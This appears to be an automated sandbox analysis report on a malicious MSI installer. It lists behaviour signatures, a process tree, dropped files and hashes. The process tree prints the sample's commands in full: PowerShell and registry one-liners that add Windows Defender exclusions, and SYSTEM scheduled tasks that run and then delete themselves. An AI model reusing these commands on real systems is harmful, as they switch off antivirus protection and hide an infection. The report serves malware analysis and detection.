Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 10:50

General

  • Target
    install_s0up014.msi
  • Size 8.0MB
  • Sample260802-mxjtfs1dpc
  • SHA256 35b92247b27ad5fa30f2ca452cc42aeae8eee5865c1770fa4f3a4079afe52c73
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 8 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up014.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4312
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5552
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2900
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 23A273346D62C4C70FE4C3FA8FBDD694 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:5384
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:5520
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4644
    • C:\Users\Public\tFi9NE\uYi1zE.exe
      "C:\Users\Public\tFi9NE\uYi1zE.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2748
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tFi9NE\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:2140
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tFi9NE\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1344
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:5048
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:2996
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:3448
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2952
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:4176
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:4788
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:3960
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4848
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:1688
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:5620
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:5684
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2032
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:4520
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4488
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:1508
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4200
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:2944
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:5892
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\tFi9NE" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3332
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\tFi9NE" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3016
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5600
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2552
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5868
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4648
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4360
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2604
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3256
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:2288
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5888

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                e59b136.rbs

                                • Path C:\Config.Msi\e59b136.rbs
                                • Size 7KB
                                • SHA256 45e342c7c7365549248fda49627f513d6bcc5815f97e5a90805bc140a23af9eb
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\tFi9NE\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 296b37e677e431ab818b59687e1294ac104d509ef0135a71c474fe2318663486
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\tFi9NE\adoresd.dat
                                • Size 4.7MB
                                • SHA256 fad65590311bbfa53ade46573e17b187a9093d692bba85f7c5b20f2a95f73581
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\tFi9NE\msadox.tb
                                • Size 8KB
                                • SHA256 5368457a7f59ecdc26023448a2441eefa0c8df1ae99de5591aad6b68b840a96b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                uYi1zE.exe

                                • Path C:\Users\Public\tFi9NE\uYi1zE.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                MSIB6C4.tmp

                                • Path C:\Windows\Installer\MSIB6C4.tmp
                                • Size 8.0MB
                                • SHA256 114bb42d9731588fe0a47ef03bf1b8c3f04ac5e7c5b37956919db7ce0b0173e2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                e59b135.msi

                                • Path C:\Windows\Installer\e59b135.msi
                                • Size 8.0MB
                                • SHA256 35b92247b27ad5fa30f2ca452cc42aeae8eee5865c1770fa4f3a4079afe52c73
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                metadata-2

                                • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                • Size 26.1MB
                                • SHA256 7140948d2858efa9bdf98cfbb0fbb265f35b70453ba69234f82376067cfe25a7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                {26c04204-7f8f-43cc-9dfc-b63e1326fc2f}_OnDiskSnapshotProp

                                • Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{26c04204-7f8f-43cc-9dfc-b63e1326fc2f}_OnDiskSnapshotProp
                                • Size 6KB
                                • SHA256 bb1898729ac43195d90c3b0917554f3c1003a846308f2b58833d149672bfba10
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/864-66-0x00007FFFCECA0000-0x00007FFFCECA2000-memory.dmp

                                memory/864-92-0x000001C1A9B40000-0x000001C1AA3D1000-memory.dmp

                                memory/864-95-0x000001C1A9B40000-0x000001C1AA3D1000-memory.dmp

                                memory/864-94-0x000001C1A9B40000-0x000001C1AA3D1000-memory.dmp

                                memory/864-59-0x00007FFFAB670000-0x00007FFFABB8E000-memory.dmp

                                memory/864-58-0x00007FFFCEC90000-0x00007FFFCEC92000-memory.dmp

                                memory/864-64-0x000001C1A9B40000-0x000001C1AA3D1000-memory.dmp

                                memory/864-85-0x000001C1AA720000-0x000001C1AA7AA000-memory.dmp

                                memory/864-67-0x000001C1A9B40000-0x000001C1AA3D1000-memory.dmp

                                memory/864-71-0x000001C1A9B40000-0x000001C1AA3D1000-memory.dmp

                                memory/864-72-0x000001C1A9B40000-0x000001C1AA3D1000-memory.dmp

                                memory/864-73-0x000001C1A9B40000-0x000001C1AA3D1000-memory.dmp

                                memory/864-74-0x000001C1A9B40000-0x000001C1AA3D1000-memory.dmp

                                memory/864-78-0x000001C1A9B40000-0x000001C1AA3D1000-memory.dmp

                                memory/864-84-0x000001C1A9050000-0x000001C1A909E000-memory.dmp

                                memory/864-86-0x000001C1AA720000-0x000001C1AA7AA000-memory.dmp

                                memory/864-87-0x000001C1AA720000-0x000001C1AA7AA000-memory.dmp

                                memory/864-88-0x000001C1AA720000-0x000001C1AA7AA000-memory.dmp

                                memory/2748-100-0x00000296BF750000-0x00000296BF772000-memory.dmp

                                memory/2748-104-0x00000296BF9F0000-0x00000296BFAA2000-memory.dmp

                                memory/2748-103-0x00000296BF7A0000-0x00000296BF7BE000-memory.dmp

                                memory/2748-106-0x00000296BF740000-0x00000296BF74A000-memory.dmp

                                memory/5384-12-0x00007FFFCEC90000-0x00007FFFCEC92000-memory.dmp

                                memory/5384-44-0x00007FFFB4D40000-0x00007FFFB4D52000-memory.dmp

                                memory/5384-13-0x00007FFFAB550000-0x00007FFFABB88000-memory.dmp

                                memory/5384-16-0x00007FFFB4D40000-0x00007FFFB4D52000-memory.dmp